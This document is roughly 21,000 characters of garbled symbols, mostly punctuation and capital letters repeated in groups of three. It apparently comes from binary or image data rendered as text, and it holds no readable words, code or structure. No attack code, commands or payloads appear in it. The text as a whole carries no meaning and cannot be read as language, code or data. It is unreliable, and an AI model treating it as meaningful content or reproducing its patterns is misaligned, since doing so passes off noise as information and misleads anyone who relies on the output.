888BBBYYY===333AAABBB:::555,,,+++,,,000444555BBBTTTZZZQQQ:::333444111666===PPPZZZ^^^ZZZHHH999...,,,333@@@@@@666 ...---,,,...111888BBB999:::<<<===:::999888666!!!***,,,111///+++&&& 888BBB...   ***000)))  (((111666222  777---000//////...""" """%%%***+++&&&%%%$$$&&&)))000:::===;;;999CCCGGG???===;;;@@@>>>777,,,///000---(((((('''((((((###000+++,,,---777:::<<>><<>>CCCAAA:::444666888999>>>AAAMMMPPPQQQOOOJJJJJJIIIIIIIIIEEE999444666555000111333"""PPPKKK===888555222000333???^^^!!!***,,,111///+++&&& ***000)))  (((hhhlllFFFAAARRRddddddRRRBBB FFFAAA??? $$$,,,&&&(((222333//////---...)))%%%"""===BBBBBB???888;;;BBBCCC $$$$$$,,,'''###%%%###,,,BBBZZZ???...000???CCC888000++++++++++++222999HHHYYY\\\HHH888555???CCCFFFDDD888333DDDVVVUUUDDD444...000:::===888 )))------000333999;;;<<<;;;999<<<999<<>>999555999999;;;EEEMMMGGG???666222333666???IIITTTTTTQQQQQQOOOPPPJJJGGGCCC???<<<:::555111111555666444 IIIHHH555---******666>>>QQQggg$$$$$$,,,'''###%%%### ///333 AAARRRGGG;;;===EEE  @@@>>>===  &&&)))###&&&000111///---...000---)))%%%!!!"""%%%%%%DDDGGGGGG===777999<<<   ###$$$,,,555*** 555lllFFF111,,,---777>>>444,,,,,,+++++++++...888IIIUUUTTT<<<666CCCWWWYYYGGGJJJ888---...777BBBGGG@@@222+++111555222 (((---444:::>>>888///...000111---,,,111;;;CCC$$$,,,555*** 555AAA  ,,,+++ ///111!!!  ---***(((&&&""" %%%,,,333777111'''+++...***'''((()))333CCC)))###&&&000111///---...000---)))%%%!!!"""BBBBBB:::444222555666,,,&&&(((+++,,,---+++'''+++,,,***,,,--- ###$$$,,,555*** !!!+++222(((  ###---===JJJIII111+++999MMMOOO===??? 111---***+++,,,666FFFIIIDDD<<<111///111666GGGRRRSSSPPPOOOOOOQQQOOOJJJGGGCCCCCCGGGGGG???999777:::;;;111+++ @@@>>>000...///777BBBCCC[[[fff ###$$$,,,555***,,,+++ ///111!!!;;;===  BBB;;;888     $$$!!!$$$***000---,,,)))###!!!''')))%%%TTTTTTOOOGGGDDDGGGCCC    ###$$$""""""'''SSSFFF111,,,,,,,,,---///000>>>+++---666<<<666AAANNNRRRMMM555888LLLVVVSSS888---777:::333000333222555---)))---999444''''''***///444444333444***...000***000;;;>>>AAA  ###$$$""""""'''(((  %%%)))$$$ $$$...***  +++$$$!!!"""''',,,,,,+++,,,'''(((000777000---222  $$$!!!$$$***000---,,,)))###===DDDEEEBBBAAAAAA===555222555222...///---+++000...%%%%%%***,,,   ###$$$!!!###$$$222"""***000+++666BBBGGGBBB***---BBBLLLIII   +++222:::333000555:::222...000...***///888???EEEAAA@@@EEELLLQQQNNNNNNJJJEEECCCIIIJJJGGGFFFGGGCCC;;;888;;;======CCCAAAHHHIIIGGGGGGKKKMMMAAA    %%%)))$$$ $$$...*** 777;;;=== ### ...666555111***'''%%%"""***---[[[XXXTTTQQQOOOMMMIII!!!   """(((&&&$$$$$$555...+++,,,++++++++++++,,,///000:::MMMTTTGGGJJJVVV555WWW???:::GGGUUURRR===000>>>GGGFFFBBB@@@777///---***((()))'''((()))+++000444;;;===888444<<>>:::888999444000666999444000   """(((&&& """$$$///AAAIII;;;>>>KKKSSSLLL555///<<< ###;;;777&&&%%%'''+++...///555999111111222111888::::::???OOOXXXWWWSSSKKKHHHFFFCCCKKKOOOMMMKKKGGGDDDCCCAAA>>><<>>===???CCC===<<<===AAAEEEGGGFFFBBB???>>>@@@<<<555999"""!!!"""!!!///999FFF;;;999BBBPPPXXXLLL (((---JJJBBB666333333+++(((777FFFHHHAAA???<<<888666444999AAAMMMQQQSSSUUULLLIIIIIIJJJMMMHHHDDDCCCCCCDDDHHHCCCBBB777888===EEEGGGDDD>>>888---'''&&&"""!!!""")))$$$222:::... !!!333,,,!!!$$$***$$$'''%%%!!! ---### 666666888 )))000...,,,&&&%%%###&&&,,,(((""" """,,,222222000,,,******[[[YYYVVVTTTXXXRRRSSSUUUQQQ ***...(((&&&+++)))!!!&&&''''''''' $$$%%%'''###CCC333,,,+++,,,+++++++++++++++******>>>PPPWWW>>>DDD&&&333<<<111CCCQQQ___^^^\\\BBBLLLNNNLLLHHH666888DDDGGGTTTJJJ000&&&&&&&&&'''(((,,,666>>>BBB@@@GGGGGGGGGGGG:::000333 $$$%%%'''###&&&...&&&333<<<111)))777666444$$$'''%%%!!! ---### !!!!!! $$$...666<<>>;;;CCCCCC'''''' $$$222CCCKKK333888CCCPPP )))OOONNNLLLFFFEEE;;;...444BBBFFFLLLHHHBBB@@@888;;;AAACCCMMMSSSSSSQQQMMMKKKKKKMMMKKKHHHFFFKKKEEEFFFHHHDDD>>>222111888HHHIIIKKKHHH<<<---&&&&&&''''''''' ...&&&333<<<111)))777666444$$$'''%%%)))222000,,, ;;;666777   )))///222222***%%%'''%%%$$$!!!!!!&&&!!!!!!$$$---+++'''&&&%%%$$$)))\\\]]]YYYRRRQQQQQQPPPRRRRRRNNN...888999555444000///222///###!!!"""  AAA999///,,,,,,,,,,,,,,,,,,+++,,,000333AAALLLFFF999(((111--- NNNOOOKKKFFF;;;PPPZZZXXXTTTGGG;;;:::???;;;>>> ''''''''')))000888CCCCCCPPPSSSPPPCCCAAABBB777111(((   """(((111--- &&&(((###)))222000JJJ>>>222111666222555000$$$ $$$)))+++$$$!!!!!!(((000;;;;;;===EEELLL222222***%%%'''%%%$$$!!!!!!&&&!!!!!!$$$---+++'''&&&AAA@@@EEEIIIJJJFFF?????????===???@@@<<<333111444:::JJJTTTVVVQQQQQQMMMKKKOOOLLL???===""" $$$&&&555???:::---777***,,,%%%  )))OOOQQQQQQJJJEEEFFFDDDDDD@@@@@@EEEAAA======???AAADDDNNNLLLGGGGGGFFFEEEIIINNNOOOKKKDDDDDDDDDBBBEEEFFFBBB'''///444555222...444;;;333)))&&&&&&###!!!""" (((111--- &&&(((###)))222000$$$---)))###))) %%%111***FFF<<<999 %%%---///&&&"""###$$$%%%''')))###"""'''+++)))+++***(((###$$$###RRRVVVYYYYYYXXXSSSRRRTTTJJJNNNTTT'''### """((()))...777:::666333...)))***%%%"""777...000888AAA>>>000///000222///,,,,,,+++,,,,,,,,,,,,+++///;;;NNNPPPQQQ>>>!!!---+++ """000^^^DDD777<<>>IIIRRRTTTOOOIIIJJJEEE???@@@BBB;;;+++ $$$'''(((!!!---+++ """NNNTTT:::---222AAAKKKGGGAAAFFF===999BBBNNNGGG<<>>DDDEEEKKKSSSWWWRRRPPPJJJEEEFFFAAA;;;"""  ###...AAACCCDDD222888$$$###&&&(((%%%---///&&&"""###CCCDDDFFFHHHBBB666888888333777===BBBGGGKKKIIIKKKKKKHHHCCCDDDCCCCCCHHHJJJKKKJJJFFFDDDFFF===BBBGGGHHH(((111:::777)))((())),,,)))&&&&&&%%%%%%"""  !!!---+++ """000666$$$---)))---,,,$$$ ###666:::dddMMMDDD  ###---000000///+++---555666111,,,'''&&&+++...---000000&&&###&&&TTTUUUYYY\\\]]]ZZZXXX]]]\\\LLLSSS***,,,+++***)))***%%%"""$$$...000,,,&&&"""$$$###HHHSSSSSS???111555>>>@@@999333666///,,,,,,,,,,,,++++++,,,,,,+++,,,222===TTT<<<==='''000&&& $$$,,,+++777555GGGTTTSSSKKKFFFCCC444777<<>>@@@KKKMMMIIIBBB>>>@@@???888888'''''' &&&111HHH000111+++///111((()))*** ###---000000///+++---UUUUUUQQQKKKFFF::::::888222222<<>>???<<>>OOOPPPLLLHHH:::***+++$$$'''666EEESSSBBB888222111,,,### %%%...***AAAJJJGGG***888///,,,888===777(((###$$$///666999888555222'''888777777666;;;DDDJJJIIIAAAEEEBBB:::BBBJJJIIIBBBDDDCCCBBBBBB999444BBBOOOOOOIIICCC;;;999:::888DDD*** $$$111>>>!!!999333222...$$$"""!!! %%%---******888///,,,WWW]]]WWWGGGBBB777999888555;;;DDDOOOVVVYYYXXXUUUSSSGGG===<<<<<<;;;AAAIIIOOONNNFFFJJJGGG@@@HHHPPP...333222...///111)))%%%&&&&&&&&&&&&(((*** ###///%%% &&&*** !!!111222///+++###%%%$$$  $$$gggyyylll"""  !!!%%%%%%)))333???:::000111,,,(((+++......------...000******\\\[[[VVVNNNOOOOOOPPPYYYSSS '''$$$$$$(((&&&$$$)))XXXWWWVVVUUUHHHDDDHHHPPPHHH:::888>>>BBBDDDGGG<<<666222---+++++++++++++++++++++222>>>888 &&&'''...)))XXXRRRJJJLLLKKK555222444111444$$$333EEE888""" 000)))))),,,111===AAAAAAEEEIIIDDDIIILLLJJJJJJHHH<<<999===DDD<<>> %%%111,,,+++)))HHHHHHMMMJJJ///000999III***$$$;;;FFF???///666555111.........555:::===AAAAAAHHHKKKLLLHHH===///***...@@@EEE<<<;;;CCCJJJKKKKKK@@@...***%%%!!! ###+++333''' &&&111666CCC444"""%%%111:::NNNIII...777HHHFFF>>>>>>CCC???%%%'''///???FFF999888AAAXXXccc\\\KKK888,,,***...,,,(((%%%&&& !!!)))...000///222111222000(((%%%***...---))),,,***((((((FFFGGGDDDCCCEEE===666666<<<@@@;;;444888;;;999444444777;;;===:::777888888777<<>>@@@???&&&??????GGGNNNPPPPPPEEE333///***&&&&&&((( !!!&&&$$$%%%111,,,+++)))!!!!!!'''---,,,### &&&666------ NNN```tttPPPPPP???***OOOLLLQQQLLLCCC===666  !!!"""...000---///,,,###((((((&&&%%%""""""PPPUUUVVVXXXZZZQQQKKKJJJ !!! !!!QQQWWW\\\WWWQQQEEE999999@@@JJJQQQLLLIIIFFFGGGUUUZZZVVV@@@888>>>444---+++++++++,,,000555 &&&  !!!%%%!!!###(((---SSSJJJ===111888LLL]]]------ +++@@@PPPPPP???***AAA>>>CCC???555///((())),,,///???DDDAAADDDKKKPPPKKKDDD:::------444>>>EEE@@@>>>:::;;;IIIOOOJJJ555---222(((!!! !!!&&&***,,,######+++111CCC999)))###)))555>>>BBB;;;222>>>@@@DDDJJJIII???444'''///CCCSSSJJJJJJ<<<777HHH]]]llllll[[[GGG888555:::666---   !!!"""...000---///,,,###((((((&&&%%%"""""";;;AAABBBDDDFFF>>>777777888888888333))),,,222222444666999999777:::<<<;;;<<<@@@FFFKKKGGG@@@666)))***111&&& $$$)))+++"""===888III^^^mmmnnn]]]HHH:::777;;;888   !!!"""<<<<<>>888...111&&&DDDAAA>>>@@@NNNSSSOOO:::222888...'''%%% &&&!!!OOO  !!!%%%!!!###(((---,,,###...*** ,,,***&&&%%%LLLNNN```FFFTTTssseeeZZZ\\\RRRIII<<<999<<< '''%%%###$$$***...222//////222555///'''"""### GGGJJJTTTYYYZZZTTTLLL ###&&&%%%%%%$$$&&&######SSSVVVXXXVVVJJJGGGJJJNNNLLLHHHEEEMMMPPPJJJAAAFFFWWW\\\ZZZKKK999<<<555///---,,,++++++...(((///$$$"""+++///888...***DDD333555@@@RRR***&&&%%%,,,FFFTTTXXXOOOeeeVVVLLLNNNDDD;;;///+++...111DDDJJJIIIBBBFFFIIILLLJJJ>>>;;;>>>BBB???<<<:::AAADDD>>>666:::KKKQQQOOO???...000***$$$"""!!! ######!!!&&&333555EEE... &&&...<<>>HHHLLLUUUKKKGGG:::***+++777IIIFFFBBBAAA666555666IIIbbbppptttkkk\\\NNNCCCEEE  '''%%%###$$$***...222//////222555///'''"""### 333666@@@EEEFFF@@@888777888555444111///%%%)))555>>>AAA@@@@@@???AAA>>>:::>>>AAAEEEHHHEEE999666999>>>;;;888666"""!!! !!!!!!!!!BBB777666777JJJdddqqquuummm^^^OOOEEEGGG  '''%%%###BBBIIIMMMQQQNNNNNNQQQTTTOOOFFFAAABBB???;;;:::888;;;EEEIIIJJJDDD>>><<<===:::999666555+++..."""HHHBBB:::???PPPUUUTTTEEE333666///)))### """VVVPPPGGGDDD666///$$$"""+++///888...***---$$$ ###)))###%%%===DDDFFFSSSjjjqqqiiiZZZMMMIIIIIIKKKSSSWWW###//////***''')))&&&XXXPPPOOOPPPTTTPPPHHH 555111'''(((&&&###!!!"""$$$HHHQQQYYYTTTHHHBBBBBBJJJWWWLLL999000999BBBDDDGGGIIINNNRRRUUUOOO:::111//////...,,,+++*********  ///...///AAA777---$$$999444EEEJJJ)))###%%% 777OOOXXXxxxccc[[[LLL???;;;;;;===EEEIIICCC:::;;;<<>>KKK???---$$$---666999;;;===BBBFFFIIICCC...&&&$$$$$$###!!!  )));;;111!!! +++444:::LLL<<<444KKKLLL^^^TTTJJJ@@@///***:::???EEE???AAA111###&&&---///;;;SSSjjjtttwwwoooZZZ666(((!!!&&&###//////***''')))&&&(((;;;;;;<<<@@@<<<555111000111555666777;;;QQQLLLBBBCCCAAA>>>:::<<<===???888777@@@HHHCCC777222222:::GGG;;;)))!!!+++%%%!!!BBB111$$$'''...000<<>>GGG??????@@@DDDAAA:::555555666:::;;;===@@@VVV===???AAAFFFKKKNNNHHH333+++))))))+++ HHHJJJMMM777777AAA///...///AAA777---$$$))) %%%&&&.../// <<>>CCCVVVvvvzzzdddYYYVVVPPPJJJJJJGGGIII%%%&&&######NNNQQQQQQLLLIIIIIIHHH###((('''%%%&&&%%%$$$&&&PPPKKKNNNRRRPPPMMMLLLKKKDDDDDD@@@888222555555666>>>EEEJJJNNNPPPNNNBBB:::444111///---+++***+++***))) )))(((,,,***444(((OOOCCC333999LLLKKK...///  ###CCCSSS~~~{{{lllUUUKKKHHHBBB<<<<<<:::;;;>>>===???AAAFFFCCC@@@@@@>>>888888444,,,&&&))))))***333999>>>BBBDDDBBB666///)))%%%$$$"""  &&&444((("""---999FFFDDD111333IIIFFFQQQDDDEEE999)))///AAABBBJJJKKK<<<'''!!!%%%***''',,,>>>___nnnuuuvvvWWWGGG111'''$$$%%%&&&######:::======888666666555111//////---...555===BBBBBB@@@AAA@@@555...444>>>AAA>>>999===AAA???<<<<<<:::444444000$$$&&&$$$ !!!LLL<<<(((!!!%%%+++(((---@@@```pppvvvxxxttteeeOOOEEE$$$333444333===DDDEEE>>>===BBBBBB:::444:::>>>AAAAAA<<<:::;;;:::666444444333444:::CCCHHH  ...777>>>CCCFFFIIIGGG;;;444...+++  :::<<>><<<>>>@@@AAAAAA<<<:::AAADDD999333666777777666777;;;<<<<<<===;;;666...'''$$$""" !!!'''%%% ###,,,<<>>BBBKKKbbblllrrrxxxWWWLLL:::///&&& +++222666555666777333444555444555666555888BBBEEEEEEBBB@@@???:::444<<<>>>@@@===999777999;;;<<<<<<777666$$$!!!PPPDDD..."""$$$///---333???CCCMMMdddnnntttyyyuuuiiiWWW///&&&555111111000555======<<<999::::::000+++000666;;;999;;;<<<888999:::999:::<<<;;;>>>GGG%%%:::<<<;;;<<>>::: >>>888>>>GGGSSSTTTUUU###%%%###!!!###&&&,,,(((%%%)))***'''!!!HHHGGGFFFGGGHHHIIIKKKPPPTTTKKKAAACCCFFFMMMLLLHHHIIIJJJKKKJJJ@@@???===;;;BBBGGGFFF???222...---++++++******)))/// 000 $$$TTTJJJIII666///>>>IIIJJJ\\\+++ ...444,,,///\\\kkkrrryyyyyyooo^^^eeedddOOO666111000---+++,,,...,,,@@@:::<<<===???DDDGGG>>>444777:::@@@@@@<<<======???>>>555333222000666;;;;;;333'''###""" %%%###$$$---===MMM000)))888@@@III@@@>>>,,,%%%444???@@@RRRGGG;;;"""###+++***444JJJPPPHHHKKKSSSaaaiiippppppKKK:::AAA@@@+++   ***333??????AAA===???>>>888555777<<<>>>444@@@GGGBBB@@@CCCDDDBBB;;;666555555555777888:::???CCC:::%%%!!! RRRHHH<<<"""$$$,,,+++555KKKQQQIIILLLTTTdddkkkrrrrrrhhhWWW^^^@@@+++  (((///;;;666111777888555444444...(((...888CCCDDDFFFBBBDDDCCC>>>;;;<<>>...777EEEJJJVVVVVVEEE  ,,,+++(((...***HHHSSSdddpppuuuyyyuuukkkrrrpppRRR777222444444111***---444???@@@CCC999777666999>>>GGG???111...666>>>AAA<<<;;;999;;;<<<111......---111444666999...%%%!!!"""(((%%%$$$)))111***!!!(((***555???,,,"""+++:::???UUUJJJ444$$$---:::@@@LLLLLL;;;)))$$$333<<<777HHH+++(((JJJEEE>>>JJJ[[[ggglllUUUQQQGGGNNNMMM/// ***RRREEE???<<<@@@;;;;;;;;;===999333333777888>>>>>>@@@AAA<<<333:::;;;>>>666444444444222222444:::CCC,,,###LLLLLL;;;***%%%444<<<888IIIHHHEEEKKKGGG@@@LLL\\\iiinnnrrrnnndddNNNMMM///(((///;;;999......;;;<<<:::<<>>888888======CCC###===???AAA555333333222666999;;;>>>!!!###LLLKKKMMMKKKVVVBBB###888--- !!!''':::)))!!!$$$XXXdddeeehhhdddHHHLLLVVV]]]ooovvv~~~vvvwwwgggQQQHHHGGGBBBIIIVVVUUUTTTQQQSSSOOO$$$!!!DDDFFFIIILLLKKK@@@@@@IIIQQQPPPOOORRRJJJJJJNNNOOOKKKMMMMMMLLLJJJFFF>>>999666555777:::===<<<777000,,,,,,...333111///000+++!!!777CCCSSSPPP<<<...000???GGGMMM```NNN777---!!!$$$$$$000222555111999>>>HHHOOOaaahhhppptttgggiiixxx{{{ZZZCCC:::999222444===:::111000///555888>>>444444===DDDCCCCCCEEE======BBBBBB???AAAAAA@@@===:::222...******,,,///222000,,,%%%!!!!!!###'''&&&$$$%%%!!!"""+++;;;GGG===!!!""",,,888IIIFFF222###&&&555<<>>FFFXXX```gggQQQDDDFFFTTTWWW666 '''@@@???<<>>;;;555000///...///---------,,,***)))000222444777:::999//////888???<<<  )))CCCVVVEEE...$$$...===@@@@@@MMMOOORRRNNN222666@@@GGGZZZaaaiiinnnaaacccTTTWWW666 666555666444///......111888EEEDDDCCCAAACCC???555333>>>CCC@@@;;;666444444555$$$$$$!!!######DDDBBB>>>777333//////111444888$$$'''$$$$$$!!!SSSSSSRRR^^^UUU888:::---*** !!!(((222666 QQQmmmpppmmmjjjZZZGGG[[[^^^]]]ZZZ___hhhwww~~~{{{wwwyyyZZZEEEBBB&&&DDDEEENNNVVVZZZWWWUUU%%%%%%!!!###   <<>>???CCCCCCBBBCCCHHHFFFEEEFFFEEEBBB===:::888777555///***&&&&&&'''+++222666555,,,$$$ !!!(((222HHHGGG---&&&...888PPP777$$$...:::DDDNNNRRR:::###&&&:::777999:::===:::777'''000CCCFFFEEECCCHHHQQQEEEMMMIIIEEERRRZZZHHH)))&&&AAAEEEBBBAAA??????444666;;;===:::111///+++$$$$$$""" $$$%%%***---888>>>CCCAAA999;;;>>>666444  DDDNNNRRR:::###''';;;888:::VVVZZZWWWTTTCCC111EEEHHHGGGEEEJJJSSSbbbjjjfffcccRRRZZZHHH)))&&&;;;999:::444///---222333444===EEEIIIFFFEEEDDDCCC888;;;@@@BBB???666444111((('''((('''$$$===<<<999444///++++++,,,111777SSSYYYWWWVVVXXXWWWSSSOOOLLLJJJ^^^CCC777===EEE333(((---888***%%%ZZZsssssssssiiiQQQNNNiiieee___UUUUUU[[[lll|||pppoootttRRRIII###,,, EEERRROOOFFFWWWYYYUUU''')))***### >>>BBBMMMRRRSSSQQQTTTUUUPPPJJJMMMNNNOOOOOONNNKKKLLLLLLHHHEEEBBB===;;;;;;666111222333999???EEECCC999///+++,,,***)))))))))+++ 111MMM000+++555>>>CCCRRR999+++'''<<>>AAAAAABBBBBBBBB>>>??????<<<999666111//////***%%%'''(((---333999888---$$$ !!! &&&999MMMBBB&&& ***333888HHH... 222:::IIITTTEEE111,,,@@@888&&&@@@@@@@@@666666QQQMMMHHH>>>===DDDUUUJJJRRR>>>>>>______CCC!!!###,,, """ BBBDDD@@@AAACCCDDD===666555444444444444555333...///+++!!!$$$))),,,111;;;@@@AAA???CCCDDD???;;;888555222...  :::IIITTTEEE222 ,,,@@@999BBB\\\]]]\\\RRR:::888SSSOOOJJJ@@@???FFFWWWgggooo\\\>>>______CCC!!!###,,,222:::===888///444@@@>>>555FFFHHHEEEEEEHHHHHHBBB;;;;;;999999999::::::$$$$$$ !!!!!!:::666444444///***,,,---333999RRRSSSSSSSSSPPPQQQQQQNNNKKKYYY<<<888AAAKKK,,,bbb###333::: (((ZZZqqquuurrrrrr]]]KKKcccnnnnnnrrrsssfffZZZWWWnnn}}}lllppp}}}ZZZUUU***+++===CCCDDDGGGSSSSSSUUUUUU###;;;BBBKKKQQQPPPMMMOOOPPPQQQNNNFFFHHHSSSQQQLLLKKKIIIGGGHHHCCC>>>999555BBBHHHAAA888666:::;;;???MMMFFF;;;333,,,---111---)))***///555444ZZZ>>>+++///<<>>BBBCCCDDDAAA:::<<>>OOOVVV;;;'''))):::((('''===BBB??????***KKKWWWVVV[[[\\\OOOBBB@@@WWWLLLUUU;;;???UUU]]]MMM***$$$***+++ $$$>>>@@@@@@444555888<<<666111000000333222///---***+++111333))))))000999>>>===;;;===>>>???666888444///***&&&333 %%%555>>>OOOVVV<<<(((***:::DDDBBBYYY^^^[[[[[[FFF555LLLXXXXXX]]]]]]QQQDDDBBBYYYhhhrrrXXX???UUU]]]MMM***$$$***+++111///...+++111444666BBBBBBDDDDDD999;;;===AAA;;;666555666999888555&&&"""!!!...;;;AAA:::111///444555999WWWUUUQQQPPPNNNLLLMMMIIIDDD888;;;IIIWWW333,,,  ###333000:::--- ***000rrryyyuuuuuudddOOOUUUsssqqquuutttjjjoooccc^^^kkkuuu~~~xxxvvv^^^$$$$$$ :::<<<<<>>DDDNNNLLLLLLGGG666333===<<<---///555IIIWWWGGG111---999AAAEEEWWW999+++---:::EEEVVV```SSS999000***000>>>FFFBBBBBB111GGGeeecccgggfff[[[```UUUPPP]]]gggpppvvvjjjqqq}}}hhhPPPFFFFFF888///   000777999999:::888999<<<;;;:::;;;666555;;;BBBMMMKKKHHHFFF===000===???;;;888777999:::000+++)))&&&///888333***(((,,,222888BBB@@@@@@<<<+++(((111000"""$$$***===LLL<<<&&&"""///777:::LLL...!!!"""000:::LLLVVVIII///&&&777***000>>>FFFBBBBBB111###\\\ZZZ^^^]]]RRRWWWLLLGGGTTTDDDMMMTTTGGGOOO^^^[[[EEE---$$$$$$  ...,,,---***,,,''')))---''')))000333333444222333555444444555000///555<<<;;;<<>>MMMPPPLLLIIIHHHKKKKKKBBB<<<999FFFNNNRRRddd000:::***:::;;;$$$###!!!(((sssvvvwwwhhhPPPQQQiiitttvvvxxxtttnnnhhhQQQWWWjjjqqqwwwppp((( DDD;;;;;;>>><<<666777   """******!!!JJJFFFKKKKKKKKKRRRYYYWWWZZZYYYUUURRRMMMBBB@@@???BBBDDDCCCBBB??????BBB???;;;;;;777444555666999AAAGGGHHHLLLQQQMMM===???OOOBBB;;;;;;LLL>>>000+++111EEEEEEOOOIII++++++444CCCOOO``````III---###!!!(((???CCCDDD555ZZZeeehhhjjjfff```ZZZCCCIII[[[ccciiirrrwwwsssvvv|||cccJJJBBB;;;555      BBBJJJJJJAAA777888;;;===;;;<<<===:::======JJJMMMLLLHHHEEE@@@666444333555888777666333333666333//////,,,((()))***...555;;;<<>> ***888EEEVVVVVV???###,,,###!!!(((???CCCDDD555666AAA^^^```]]]WWWQQQ:::@@@SSS[[[FFFOOOTTTQQQTTT\\\YYY@@@(((   !!!### ###"""###"""%%%///<<>><<>>BBBFFFHHHDDD  &&&******''' FFFGGGKKKRRRVVV^^^]]]XXXUUUQQQNNNLLLGGG999999888===@@@??????===???DDDBBB<<<888666:::>>>@@@CCCKKKMMMOOOOOOSSSQQQ<<<444DDDNNNFFFCCC999,,,)))***111BBBJJJYYY<<<***222BBBHHHaaaeeeRRR;;;...111;;;<<<@@@BBB <<<...bbb```^^^ZZZ]]]^^^LLL999NNNeeegggiiifffLLLAAAHHH\\\nnn^^^IIIAAAAAA<<<:::  &&&IIIJJJGGG===555999>>>???>>>::::::===DDDKKKHHHDDDAAA???;;;,,,,,,,,,111444333333000333888666000,,,***...222555888???AAABBBDDDHHHEEE111)))999CCC:::777...!!!'''777>>>NNN222 '''777===WWW[[[HHH111!!!...111;;;<<<@@@BBB ...>>><<>>333222222333222777LLLLLLGGG@@@>>>??? """......$$$%%%!!! ###:::???LLLKKKOOOOOOOOOQQQPPPTTTRRRIII999666:::???999999;;;:::IIIIII???:::777:::AAAEEEKKKRRRSSSPPPJJJQQQYYYQQQ???555000...///===@@@222)))***666DDDNNN[[[HHH,,,///@@@LLLYYYfff[[[@@@,,,666888<<<<<<;;;HHH666LLLbbb]]]UUUQQQPPPYYYPPP>>>UUUhhhiiihhhRRR///$$$$$$$$$$$$###))):::@@@;;;888999 """......$$$EEE@@@<<>>888---222>>>===DDDCCCGGGEEE;;;,,,)))---222---,,,......<<<<<<333...+++...555999???GGGHHHDDD>>>FFFMMMEEE444***%%%######222555'''+++999CCCPPP==="""%%%555BBBOOO[[[PPP555,,,666888<<<<<<;;;###)))>>>999111HHHGGGPPPGGG444LLL^^^```^^^III ***)))+++333))) %%%111;;;GGGHHH===>>>:::555999<<<888222(((---999888...((((((******999999000+++(((+++222(((555""" '''444@@@555555###...GGGRRRSSSWWWWWWVVV>>>...DDDZZZUUUMMMJJJIIIRRRHHH666NNNaaabbbaaaLLL)))::::::555///---///---///888---%%%$$$***,,,000555333:::>>>DDDLLL:::>>>CCC>>>>>>@@@???OOOOOO(((555""" '''444@@@555<<<''' %%%111888<<<222666***"""444jjjjjjqqqmmmppphhhKKKWWWqqqxxxuuuhhhLLL666333222222111111222 IIIIIIHHHCCCAAAEEE (((000///&&&### $$$%%%999;;;AAAFFFFFFSSSYYYVVVPPPLLLKKKIIIGGGEEE;;;FFFGGG>>><<>>999888<<>>;;;:::999///:::;;;222///444444666777111---,,,000888:::BBBJJJNNNCCC777<<>>555222+++((("""$$$000///"""%%%888IIIQQQWWW;;;&&&111BBBKKK^^^WWWAAA %%%111888<<<222666***"""444888777???VVVXXXPPP333???ZZZaaa]]]QQQ444 000222///000+++""" )))888AAAJJJIII???<<<999===>>>333,,,&&&(((///333555666...+++000000222333...)))(((---444---555;;; (((000CCC<<<''' %%%LLLSSSXXXNNNRRRFFF,,,===PPPSSSSSS[[[WWWZZZRRR666AAA\\\ccc```SSS777""" 888777222000555777444555///;;;111===>>>555555===@@@GGG???JJJLLLCCCAAAFFFFFFHHHIII%%%"""  ---555;;; (((000CCC<<<'''555 333444666555333,,,111888555nnnsssiiibbbRRRNNNmmmzzzyyypppSSS999333222222222111111222 NNNVVVTTTIIIDDDGGG !!!***...,,,)))###%%%((((((HHHQQQSSSVVVWWWUUUVVVWWWVVVKKKMMMNNNIIICCC666888???EEEEEEGGGIIIGGGFFFBBB<<<999>>>DDDDDDMMMVVV\\\RRRBBB>>>@@@???:::>>>777333222...,,,333777BBBQQQ]]]]]]HHH777///@@@VVVdddhhh[[[ 333444666555333PPP:::666UUU\\\YYY___dddZZZSSSDDD@@@___kkkkkkbbbDDD+++$$$$$$###############%%%...999<<<>>>@@@'''%%% !!!***...,,,)))###%%%(((GGG===:::;;;DDDFFFIIIJJJIII>>>@@@AAA<<<666))),,,222999999:::===;;;999666000---222888888AAAJJJPPPFFF777333444444///333+++''''''### ''',,,777FFFRRRSSS===,,,$$$555KKKYYY^^^PPP 333444666555333,,,111888555<<>>AAAAAA666333555>>>@@@%%%(((...444444666999777555222---***///+++666777""" 000>>>CCC555 333444666555NNNGGG222---MMMTTTQQQWWW\\\RRRLLL<<<888XXXdddccc[[[>>>%%% '''%%%333666666555???999,,,///555<<< ===999===CCCJJJJJJLLLOOOMMMKKKHHHCCC@@@EEEKKKLLLUUU...444***  +++666777""" 000>>>CCC555 ((()))666::::::444888 !!!666777>>>EEE555dddOOOFFFbbbjjjrrrsssOOO;;;444222222222222222222222OOOQQQRRRNNNGGGBBB%%% %%%+++111///&&&***''''''***,,,[[[\\\YYYSSSOOONNNLLLLLLLLLCCCAAA===;;;888111555???CCCBBB@@@AAA???===???>>>>>>AAACCCCCCJJJSSSWWWUUUVVVJJJ@@@FFFNNNOOOJJJFFF333111,,,+++333888EEEPPPBBB...)))(((111GGGgggfff((()))666::::::444\\\DDD444EEEZZZ[[[bbbhhhXXX222AAA777SSS\\\dddddd@@@,,,%%%$$$##################%%%000777888:::AAA"""###%%% %%%+++111///&&&***''''''***KKKNNNOOOLLLFFFAAA???666444000...+++$$$222222444777777>>>GGGLLLJJJJJJ===444:::BBBDDD>>>;;;'''%%%!!! (((---:::EEE666###&&&<<<\\\[[[((()))666::::::444888 !!!666777>>>EEE555222777...JJJSSS[[[\\\777### """###------111222---222===999999>>>DDDJJJHHH???BBB???@@@CCCEEEHHHIII)))&&& $$$...111111000111///---//////...111$$$ *** """AAA@@@((()))666::::::444888 ;;;RRRSSSZZZ```PPPMMM888000LLLUUU]]]^^^999&&& """###222000...'''+++555999999555999CCCGGGFFFFFFFFFDDDCCCEEEEEEDDDGGGJJJKKKRRR***///---..."""'''(((###  *** """AAA@@@(((OOO%%%777===BBB???;;;'''+++222===DDDAAA555 MMMYYYIII]]]XXX<<<333333222222222222222222111 %%%'''PPPOOOOOOSSSXXXWWW### (((###&&&***'''$$$"""$$$***###NNNWWW```]]]XXXTTTJJJCCC>>>888;;;CCC@@@555666BBB===<<<===<<<888333444===QQQZZZJJJAAAEEELLLGGGGGGMMMSSSMMMFFF@@@???NNNVVVZZZOOOBBB>>>???666***(((((('''((('''---@@@GGGFFF]]]===%%%777===BBB???```KKK666CCCOOOVVVaaahhhddd555 ???JJJ;;;NNNIII...$$$$$$#####################$$$+++???FFFHHHAAAAAA!!!$$$)))(((### (((###&&&***'''$$$"""$$$***###"""+++RRRPPPKKKFFF+++...666444999@@@;;;;;;AAAGGG@@@:::555444CCCKKKNNNDDD666222444+++"""555<<<;;;777===%%%777===BBB???;;;'''+++222===DDDAAA555 